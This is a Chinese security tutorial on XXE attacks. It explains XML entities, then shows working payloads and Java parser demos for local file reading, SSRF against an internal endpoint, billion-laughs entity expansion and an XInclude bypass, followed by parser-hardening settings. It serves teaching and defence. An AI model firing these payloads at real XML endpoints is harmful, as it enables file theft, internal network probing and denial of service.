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本文分享自华为云社区《 【安全攻防】深入浅出实战系列专题-XXE攻击 》,作者: MDKing.
XML基础:XML 指可扩展标记语言(Extensible Markup Language),是一种与HTML类似的纯文本的标记语言,设计宗旨是为了传输数据,而非显示数据。是W3C的推荐标准.
XML标签:XML被设计为具有自我描述性,XML标签是没有被预定义的,需要自行定义标签与文档结构。如下为包含了标题、发送者、接受者、内容等信息的xml文档.
DTD:指文档类型定义(Document Type Definition),通过定义根节点、元素(ELEMENT)、属性(ATTLIST)、实体(ENTITY)等约束了xml文档的内容按照指定的格式承载数据.
如下图,通过 <!DOCTYPE 根节点名称 [DTD内容]> 的规则指定了该xml文件合法的根节点元素为persons,它的子节点元素为person,以及person的子层元素以及属性.
。
。
实体:在DTD中通过 <!ENTITY 实体名称 "实体的值"> 等方式定义实体,相当于定义变量的作用,可在文档内容中通过 &实体名称; 的方式引用实体的值(变量的值).
实体类型:实体分为多种类型,从使用范围的维度,分为参数实体(只能在DTD中引用)与非参数实体(可以在DTD中、文档内容中引用)。区别如下:
样例 | 引用方式 | 使用范围与场景 | |
非参数实体 | <!ENTITY country "中国"> | &country; | 在DTD中、文档内容中均可引用,一般用来取代重复的字符串 |
参数实体 | <!ENTITY % countrydefine "xxx元素的DTD定义内容"> | %country; | 仅能在DTD定义中引用,一般用来保存某段重复的DTD定义 |
从值的来源维度,分为内部实体、外部实体。内部实体为文档内部直接定义值,外部实体为通过http、file等协议从文件外的某处获取内容作为实体的值。区别如下:
样例 | 特征与使用场景 | |
内部实体 | <!ENTITY country "中国"> | 值是明确的字符串常量等,可以直接定义在本文档中 |
外部实体 | <!ENTITY country SYSTEM "file:///D:/country.txt"> | 值来源于其它文件或者网络 |
XML外部实体注入:XML External Entity Injection即xml外部实体注入漏洞,简称XXE漏洞。当xml解析器支持对于外部实体的解析且待解析的xml文件可由外部控制时,就会发生此攻击。攻击者可以通过构造外部实体的内容为本地其它目录下的文件、访问内网/外网的制定url等方式实现自己的攻击目的,达到信息泄露、命令执行、拒绝服务、SSRF、内网端口扫描等攻击目的.
Xinclude:Xinclude用来导入外部xml文档,类似于php的include,将外部定义的dtd引入当前文件。该特性可以解决部分场景下引入外部实体具有的局限性,但并不是所有XML 解析器都支持 XInclude,W3C在XInclude Implementations Report中列出了支持的列表,结合XInclude特性也可以在部分场景下执行XXE攻击。常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的,如果使用,需要在代码中手动开启,如在DOM型解析器中开启如下配置 factory.setNamespaceAware(true);factory.setXIncludeAware(true); 如果不关闭Xinclude,仅禁用DTD解析也是存在安全风险的.
目的与场景:通过构造特定格式的xml文档,读取服务器上指定文件的内容,达到敏感信息获取的目的.
xml文档payload:
<?xml version= " 1.0 " encoding= " UTF-8 " ?> <! DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY pw SYSTEM " file:///D:/securetest/xxe/passwd.txt " >]> <root>&pw;</root>
服务器端代码:
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { String xml = " <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n " + " <!DOCTYPE root [ \n " + " \t<!ELEMENT root (#PCDATA)>\n " + " \t<!ENTITY pw SYSTEM \"file:///D:/securetest/xxe/passwd.txt\">]>\n " + " <root>&pw;</root> " ; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setValidating( true ); DocumentBuilder builder = factory.newDocumentBuilder(); InputStream in = new ByteArrayInputStream(xml.getBytes()); org.w3c.dom.Document document = builder.parse( in ); Element rootElement = document.getDocumentElement(); // 打印根节点元素名称、内容 System. out .println( " 根节点名称: " + rootElement.getNodeName()); System. out .println( " 根节点内容: " + rootElement.getTextContent()); }
执行结果:成功读取到了passwd.txt的内容。(服务端代码样例中打印在控制台上,对应实际系统中需要有将文档内容打印到界面上等处理。) 。
目的与场景:通过构造特定格式的xml文档,可以借助目标主机访问内网的其它主机开放的内部接口等服务.
内网其它服务器模拟准备:通过node staticServer.js命令启动服务器,监听3000端口 。
let express = require( ' express ' ) let app = express(); app.use(express. static (__dirname)); app. get ( ' /getInnerData ' , function(req, res) { console.log(req.headers) res.end( ' AK:abc;SK:ABDCEF ' ) }) app.listen( 3000 )
经验证,http请求可成功返回 。
xml文档payload:
<?xml version= " 1.0 " encoding= " UTF-8 " ?> <! DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY pw SYSTEM " http://127.0.0.1:3000/getInnerData " >]> <root>&pw;</root>
服务器端代码:
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { String xml = " <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n " + " <!DOCTYPE root [ \n " + " \t<!ELEMENT root (#PCDATA)>\n " + " \t<!ENTITY pw SYSTEM \"http://127.0.0.1:3000/getInnerData\">]>\n " + " <root>&pw;</root> " ; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setValidating( true ); DocumentBuilder builder = factory.newDocumentBuilder(); InputStream in = new ByteArrayInputStream(xml.getBytes()); org.w3c.dom.Document document = builder.parse( in ); Element rootElement = document.getDocumentElement(); // 打印根节点元素名称、内容 System. out .println( " 根节点名称: " + rootElement.getNodeName()); System. out .println( " 根节点内容: " + rootElement.getTextContent()); }
执行结果:成功读取到内部接口getInnerData的内容.
目的与场景:通过构造特殊格式的xml文档,定义多层递归引用的实体(变量)让解析的内容以及时间以指数级增长,以实现DDos攻击的效果.
xml文档payload:
<?xml version= " 1.0 " encoding= " UTF-8 " ?> <! DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY lol " lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n " > <!ENTITY lol1 " &lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol; " > <!ENTITY lol2 " &lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1; " > <!ENTITY lol3 " &lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2; " > <!ENTITY lol4 " &lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3; " > <!ENTITY lol5 " &lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4; " > <!ENTITY lol6 " &lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5; " >]> <root>&lol6;</root>
服务器端代码:
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { // 获取当前时间 LocalDateTime startTime = LocalDateTime.now(); String xml = " <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n " + " <!DOCTYPE root [ \n " + " \t<!ELEMENT root (#PCDATA)>\n " + " \t<!ENTITY lol \"lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n\">\n " + " \t<!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n " + " \t<!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n " + " \t<!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n " + " \t<!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n " + " \t<!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n " + " \t<!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;\">]>\n " + " <root>&lol6;</root> " ; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setValidating( true ); factory.setExpandEntityReferences( false ); System.setProperty( " entityExpansionLimit " , " 50000000 " ); DocumentBuilder builder = factory.newDocumentBuilder(); InputStream in = new ByteArrayInputStream(xml.getBytes()); org.w3c.dom.Document document = builder.parse( in ); Element rootElement = document.getDocumentElement(); // 打印根节点元素名称、内容 System. out .println( " 根节点名称: " + rootElement.getNodeName()); System. out .println( " 根节点内容: " + rootElement.getTextContent()); System. out .println( " 根节点内容长度: " + rootElement.getTextContent().length()); System. out .println( " 根节点内容大小: " + rootElement.getTextContent().getBytes().length / ( 1024 * 1024 ) + " MB " ); // 获取当前时间并计算时间差 LocalDateTime endTime = LocalDateTime.now(); Duration duration = Duration.between(startTime, endTime); System. out .println( " 解析执行时间为: " + duration.toMillis() + " 豪秒 " ); }
执行结果:如果程序中不对解析实体做限制的话,可以通过少量的DTD定义,实现海量大小的解析结果的效果,会大量占用服务器的处理、存储.
目的与场景:该样例演示了如果打开了Xinclude开关的危险性,即使做了DTD的安全禁用,还是依然可以进行XXE攻击.
xml文档payload:
<?xml version= " 1.0 " encoding= " UTF-8 " ?> <! DOCTYPE root [ <!ELEMENT root (#PCDATA)> <!ENTITY lol " lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n " > <!ENTITY lol1 " &lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol; " > <!ENTITY lol2 " &lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1; " > <!ENTITY lol3 " &lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2; " > <!ENTITY lol4 " &lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3; " > <!ENTITY lol5 " &lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4; " > <!ENTITY lol6 " &lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5; " >]> <root>&lol6;</root>
服务端代码:
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException { String xml = " <?xml version=\"1.0\" ?>\n " + " <root xmlns:xi=\"http://www.w3.org/2001/XInclude\">\n " + " <xi:include href=\"file:///D:/securetest/xxe/passwd.txt\" parse=\"text\"/>\n " + " </root> " ; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature( " http://apache.org/xml/features/disallow-doctype-decl " , true ); factory.setNamespaceAware( true ); factory.setXIncludeAware( true ); DocumentBuilder builder = factory.newDocumentBuilder(); InputStream in = new ByteArrayInputStream(xml.getBytes()); org.w3c.dom.Document document = builder.parse( in ); Element rootElement = document.getDocumentElement(); // 打印根节点元素名称、内容 System. out .println( " 根节点名称: " + rootElement.getNodeName()); System. out .println( " 根节点内容: " + rootElement.getTextContent()); }
执行结果:
常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的,如果使用,需要在代码中手动开启,如在DOM型解析器中开启如下配置 factory.setNamespaceAware(true);factory.setXIncludeAware(true); 如果不关闭Xinclude,仅禁用DTD解析也是存在安全风险的。2.4中演示了即使禁用了DTD解析,打开Xinclude功能开关后存在的安全问题。所以从安全角度考虑,首先禁止打开Xinclude开关.
如果业务中不需要进行DTD定义以及解析,最好的方式就是完全禁用DTD解析。例如Dom类型的解析器中通过 factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 来禁用。效果如下:
方式一:如果业务中确实需要DTD定义以及解析,可以通过仅禁用外部实体解析的方式进行安全防护。例如Dom类型的解析器中通过如下方式设置禁用外部实体解析:
factory.setFeature( " http://xml.org/sax/features/external-general-entities " , false ); factory.setFeature( " http://xml.org/sax/features/external-parameter-entities " , false ); factory.setFeature( " http://apache.org/xml/features/nonvalidating/load-external-dtd " , false );
效果如下:
方式二:禁用外部实体解析还有另外一种方式,重写实体解析函数,核心代码:
builder.setEntityResolver( new EntityResolver() { @Override public InputSource resolveEntity(String publicId, String systemId) throws SAXException,IOException { return new InputSource( new StringReader( "" )); } });
效果如下:
IoT已将包括上述安全编码逻辑在内的常用XML解析器的安全编码规范提取到IoT自定义安全规则集,上线到所有IoT服务的生产发布流水线中,自动化的保障各服务的现网代码安全。如:
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最后此篇关于从原理到实战,详解XXE攻击的文章就讲到这里了,如果你想了解更多关于从原理到实战,详解XXE攻击的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
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